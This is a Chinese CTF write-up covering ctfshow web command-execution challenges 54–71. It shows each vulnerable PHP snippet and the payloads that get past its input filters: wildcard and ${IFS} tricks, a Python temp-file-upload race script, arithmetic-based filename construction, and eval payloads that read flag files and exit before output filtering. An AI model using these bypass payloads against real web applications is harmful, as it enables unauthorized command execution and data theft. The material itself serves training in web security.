[ctfshow]web入门——命令执行(web54-web71)

2023-11-12

system过滤

web54

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

利用通配符?
paload

/?c=rev${IFS}fl?g.php
/?c=/bin/?at${IFS}f???????

在这里插入图片描述
在这里插入图片描述

web55

<?php
// 你们在炫技吗?
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

payload
/bin/base64 flag.php

/?c=/???/????64 ????????

还可以用上传临时文件的方法,见下一题

web56

<?php
// 你们在炫技吗?
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

无数字字母的rce,上传临时文件,原理:link
py脚本:

import requests
url="http://63212fe8-01b7-4867-ab04-458e8e1a39fb.challenge.ctf.show/?c=. /???/????????[@-[]"
files={'file':'ls'}
for i in range(1000):
	response=requests.post(url,files=files)
	html = response.text
	print(html)

在这里插入图片描述

files={'file':'cat flag.php'}

在这里插入图片描述

web57

<?php
// 还能炫的动吗?
//flag in 36.php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
        system("cat ".$c.".php");
    }
}else{
    highlight_file(__FILE__);
}

payload

/?c=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))

https://blog.csdn.net/qq_46091464/article/details/108563368
在这里插入图片描述

原理是:
${_}=""
$((${_}))=0
$((~$((${_}))))=-1
然后拼接出-36在进行取反

注意的是:${_}会输出上一次的执行结果

在这里插入图片描述

disabled function绕过

web58

<?php
// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}
c=var_dump(scandir('.'));
c=var_dump(file_get_contents('flag.php'));

在这里插入图片描述
在这里插入图片描述

web59

<?php
// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

payload

c=var_dump(scandir('.'));
c=highlight_file('flag.php');

在这里插入图片描述

web60

<?php
// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

payload同上
在这里插入图片描述

web61

在这里插入图片描述

web62

在这里插入图片描述

web63

在这里插入图片描述

web64

在这里插入图片描述
绷不住了

web65

在这里插入图片描述

wbe66

<?php
// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
} 

payload

c=var_dump(scandir('/'));
c=highlight_file('/flag.txt');

在这里插入图片描述
在这里插入图片描述

web67

在这里插入图片描述

web68

笑死我了,源码都不给了
在这里插入图片描述
还可以包含读

c=include('/flag.txt');

在这里插入图片描述

web69

在这里插入图片描述

web70

在这里插入图片描述

在这里插入图片描述

web71

<?php
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
        $s = ob_get_contents();
        ob_end_clean();
        echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
    highlight_file(__FILE__);
}

?>

你要上天吗?

执行php代码让后面的匹配缓冲区不执行直接退出
payload:

c=include('/flag.txt');exit();

在这里插入图片描述

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

[ctfshow]web入门——命令执行(web54-web71) 的相关文章

随机推荐

  • Node之在多个子进程中运行Node.js应用程序

    引 一个Node js应用程序只能使用在一个线程中 最近 为了充分发挥多核CPU的优势 Node js中提供了一个cluster模块 允许在多个子进程中运行不同的Node js应用程序 使用fork方法创建worker对象 在cluster
  • 【linux】buff/cache手动释放

    在云上跑了一个深度学习的东西 但是数据量实在太大 为了加速 我就直接将数据集全部加载到内存中 毕竟对于GPU云服务器来说 内存和GPU比起来实在不算钱 但是运行top指令发现 linux中的buff cache占比相当大 但没发现占用这个的
  • Python 程序设计习题(3) —— 程序控制结构

    目录 1 Python 习题部分 2 Python 习题讲解 while 循环 if else条件分支语句 for 循环 其他 1 Python 习题部分 要想学习一门语言 便少不了练习 故附上部分 Python 习题 供大家学习参考 如有
  • Ted 带你学习数据结构 之 二叉堆(Binary Heap)

    二叉堆 Binary Heap 1 structure property Heap 堆 是一个除了底层节点外的完全填满的二叉树 底层可以不完全 左到右填充节点 a heap is a binary tree that completely
  • vue3中全局引入less

    1 安装less less loader yarn add less less loader 2 安装style resources loader yarn add style resources loader 3 安装vue cli pl
  • Spring中对Hibernate 的简单封装原理

    开篇提示 本文以spring2 5 6为基准展开 如文中有误欢迎指出 开篇大家可以思考一些问题 1 spring中对于hibernate的整合是怎样的 2 spring为什么要对hibernate做进一步的封装 这样做的好处是什么 我的讲解
  • springboot配置跨mapper.xml的全局变量

    springboot配置跨mapper xml的全局变量 有这样的需求 mybatis框架的mapper xml 即映射文件里 如果需要配置一个全局变量 然后 在所有的mapper xml里都能拿到使用 这需求也不苛刻吧 后来查了下 发现对
  • java8新特性 ---译

    Java并没有没落 人们很快就会发现这一点 欢迎阅读我编写的Java 8介绍 本教程将带领你一步一步地认识这门语言的新特性 通过简单明了的代码示例 你将会学习到如何使用默认接口方法 Lambda表达式 方法引用和重复注解 看完这篇教程后 你
  • QT从入门到实战x篇_31_QFile文件读写操作&QFileInfo实现基本文件信息读取(QFile进行基本文件操作;二进制文件读写;文本文件读写)

    上篇QT从入门到实战x篇 30 绘图设备 QPixmap QBitmap QImage和 QPicture QPixmap QBitmap绘制及保存 QImage像素操作 QPicture记录和重现 及之前的博文介绍了绘图事件及设备的相关内
  • 黑苹果键盘对应的相应按键

    更多精彩内容 请见 http www 16boke com Command键 PS2键盘对应Alt键 USB键盘对应Win键 Option键 PS2键盘对应Win键 USB键盘对应Alt键 更多精彩内容 请见 http www 16boke
  • 现代控制理论-工程数学基础(5)-欧拉公式证明

    Introduction 这一部分内容主要以学习截图为主 方便自己回顾 给大家推荐一个非常优秀的B站uper 所有内容均出自他的课程 网站链接分享在此DR CAN Ph D in Dynamics and Control 机器人工程师 致敬
  • [游戏开发]Unity Profiler真机调试

    网上教程有很多 我这先记录遇到的问题 问题 adb搜索设备不到设备 手机要开启USB调试 不然会出现搜索空列表的情况 下面是列表空与不空的对比 问题 adb检测到了设备 但显示unauthorized 例如上图 1 找到你的电脑用户文件下的
  • 你该了解的自动化测试工具:Selenium控制浏览器的常用方法!

    Selenium怎么来的 Selenium这个词 是化学元素硒 Se 的意思 在软件测试领域 它是绝对的自动化测试开源项目的标杆 取这个名字也是有讲究的 在当时乃至如今的软件测试领域 QTP UFT 占有率非常高 Quick Test Pr
  • 【unity】error CS0246: The type or namespace name ‘xxx‘ could not be found

    可能性一 VScode中各项目的目标框架不一致 通过菜单栏 项目 属性 应用程序 目标框架 可以检查各目标框架是否一致 是否有效 并没有 补充 如果无法打开这个窗口 可能是由于vs将访问项目属性默认设置为了false 可以通过菜单栏的 工具
  • 【快速实现List转Map,stream去重、过滤、筛选、拼接方法的使用】

    一 List转List List对象转List单字段 List
  • 基于SSM的遂川特产销售管理系统

    项目背景 随着科学技术的飞速发展 社会的方方面面 各行各业都在努力与现代的先进技术接轨 通过科技手段来提高自身的优势 遂川特产销售系统当然也不能排除在外 遂川特产销售系统是以实际运用为开发背景 运用软件工程开发方法 采用SSM技术构建的一个
  • QT界面美化与添加多个界面

    一 在QT界面中添加图片 首先在工程中添加源文件 右键选择class1 选择Add new 如下图 添加完成之后会出现源文件夹目录 然后右键选择 qrc文件 然后选择Open in Edit 5 再点击鼠标位置 创建目录 只留下 表示根目录
  • VS Code 源码分析 - 多语言实现

    NO 1 前言 传统前端 App 多语言最简单的实现可以由一套响应式数据流管理系统来托管多语言文案 切换语言时通过数据流的变化使得界面根据文案重新渲染 但由于 VS Code 架构的复杂性 需要有一套能兼容 Electron 渲染窗口 Ch
  • Jedis介绍及配置(Java操作Redis)

    Jedis介绍及配置 Java操作Redis 一 Jedis是什么 jedis就是基于java语言的redis客户端 集成了redis的命令操作 提供了连接池管理 redis cli是redis官方提供的客户端 可以看作一个shell程序
  • [ctfshow]web入门——命令执行(web54-web71)

    文章目录 system过滤 web54 web55 web56 web57 disabled function绕过 web58 web59 web60 web61 web62 web63 web64 web65 wbe66 web67 we